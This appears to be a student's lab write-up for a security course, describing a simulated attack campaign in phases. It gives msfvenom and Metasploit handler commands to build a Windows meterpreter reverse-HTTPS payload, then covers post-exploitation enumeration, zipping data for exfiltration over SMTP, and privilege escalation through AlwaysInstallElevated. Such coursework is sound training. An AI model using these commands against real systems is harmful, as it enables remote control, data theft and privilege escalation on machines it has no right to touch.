olfdirst

Trevor Nugent SEC - 335 First Campaign

Phase Zero

msfconsole -q #Start console
set payload windows/meterpreter/reverse_https #Sets payload to a compatible reverse https so the rat uses less obvious traffic
set lhost 10.0.17.23 #Telling it what IP to listen on
set lport 14384 #Telling it what port to listen on
msfvenom -p windows/meterpreter/reverse_https LHOST=10.0.17.23 LPORT=14384 -f exe -o ratPayload.exe #Create the rat exe and tell it to look for the kali VMs ip & port
use exploit/multi/handler #Basic handler exploit #Start, optionally -j for detached

Phase One

Access Vector: RDP, credentials found on dark web.
Sessions: Displays ID, Name, Type, Information, and Connection for each session. ID is a sequential ID assigned at session creation. Name is a name for the session if it has been labeled. Type is the meterpreter payload type. Information displays the username and device connected. Connection shows the source and target IP & port.
Commands: sysinfo, getuid, whoami

Phase Two

1. getuid

Displays the system name and current username

2. sysinfo

Most importantly displays the device name, operating system, and architecture.

3. ps

Dispalys a list of all currently running processes.

4. getprivs

Shows all interesting privileges of the current user.

5. route

Displays all active network connections.

My custom enumeration script gathers a variety of data on the compromised device, with each command outputting to a different file. Then I simply compress everything to zip before exfil.

For this I just use the basic zip tool on all common systems and stage it in the home directory for the exposed account for easy access.

Phase Three

Method: SMTP
Why: Emails are widely common on a corporate network, and it can be very difficult to filter out a random zip file as something that should not leave the network. Detection: Largely packet destination tracking, deep packet examination, and simply preventing devices from emailing those outside of the network. Deep packet examination is likely the most important if your mail server is in any way accessible outside the network, and would mostly mean having an automated system strictly search and flag anything that might be property or information that should not leave the network or be otherwise shared.

Unzipped with unzip enumerations_zip.zip -d enumerations

Phase Four

Vulnerability: Always Install Elevated
CVE: As far as I'm aware it doesn't have one. Cause: Improper registry setting that means all .msi files are run with system privileges, even if run by non admin users.
Bypass: Since the msi is run elevated, you can use it to make a session have privileges.

Using local_exploit_suggester payload told me that alwaysinstallelevated was enabled

Extra Credit:

$ Phase Five